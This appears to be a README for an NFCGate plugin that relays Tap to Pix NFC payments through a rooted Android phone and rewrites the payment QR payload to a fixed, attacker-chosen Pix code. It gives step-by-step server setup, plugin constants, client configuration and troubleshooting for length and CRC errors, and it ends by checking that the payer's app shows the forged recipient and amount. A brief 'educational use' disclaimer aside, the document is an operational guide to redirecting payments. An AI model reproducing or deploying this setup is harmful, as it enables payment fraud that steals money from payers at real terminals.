Goal: intercept Tap to Pix APDUs and replace the payload after
qr=with a fixed Pix QR Code (CRC already included), enabling lab security testing.
| Item | Minimum version | Notes |
|---|---|---|
| Python | 3.8+ | NFCGate server |
| pip | Up-to-date | For optional dependencies |
| Android | 8.0+ with root | NFCGate client |
| NFCGate | master branch |
client (APK) + server |
| Proxmark3 (optional) | RDV4 | Sniff analysis |
⚠️ Strictly for educational use. Do not run in production environments without formal authorization.
# Server
git clone https://github.com/nfcgate/nfcgate.git
cd nfcgate/server
# (Optional) create venv
python3 -m venv venv
source venv/bin/activate
pip install -r requirements.txt# Still inside nfcgate/server
mkdir -p plugins
cp /path/to/mod_pixpatch.py plugins/The plugin must be saved exactly as plugins/mod_pixpatch.py.
You can tweak the fixed QR Code by editing the constants at the top of the file:
PREFIXO_QR = b"pix://BR.COM.PAGSEGURO?qr="
NOVO_PAYLOAD_PIX = (
"000201...6304XXXX"
)Tip: use
python3 crc16.py <payload_without_crc>to recalculate field6304whenever you change the QR Code.
python3 server.py --plugins pixpatch --host 0.0.0.0 --port 5566Debug logs will appear in the terminal with the [DEBUG] prefix.
- Install the NFCGate APK (local build or release).
- Grant root via Magisk/SuperSU.
- In settings, set Server URI to
ws://<SERVER_IP>:5566. - Enable the Man-in-the-Middle module and start capturing.
- Bring the payment terminal/POS close to the phone.
- Watch the log for commands
D6 00 00andD6 00 FA. - Verify that the value after
qr=was replaced with the fixed payload (field6304intact). - Confirm in the Payer app that the recipient/amount matches the forged payload.
| Need | Where to change |
|---|---|
Implement signature sig=<signature> |
TODO: generate a signature for each transaction attempt – not implemented |
| Symptom | Possible cause | Solution |
|---|---|---|
patched2 > 255 |
Large payload | Reduce size or use extended APDU |
Lc mismatch |
Wrong length | Check len1 and new_lc calculations |
| App shows no transaction | Incorrect CRC | Recalculate 6304XXXX |
This code is intended exclusively for security research. The author is not responsible for misuse.